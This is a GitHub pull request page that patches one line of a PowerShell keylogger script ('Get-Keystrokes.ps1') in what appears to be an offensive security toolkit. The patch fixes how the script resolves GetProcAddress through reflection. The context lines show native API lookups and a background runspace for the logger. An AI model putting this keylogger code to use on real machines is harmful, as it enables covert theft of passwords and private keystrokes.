Skip to content
This repository has been archived by the owner on Jan 21, 2021. It is now read-only.

Update Get-Keystrokes.ps1 #302

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions Exfiltration/Get-Keystrokes.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -108,7 +108,7 @@ function Get-Keystrokes {
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
Expand Down Expand Up @@ -374,4 +374,4 @@ function Get-Keystrokes {
[void]$PowerShell.BeginInvoke()

if ($PassThru.IsPresent) { return $PowerShell }
}
}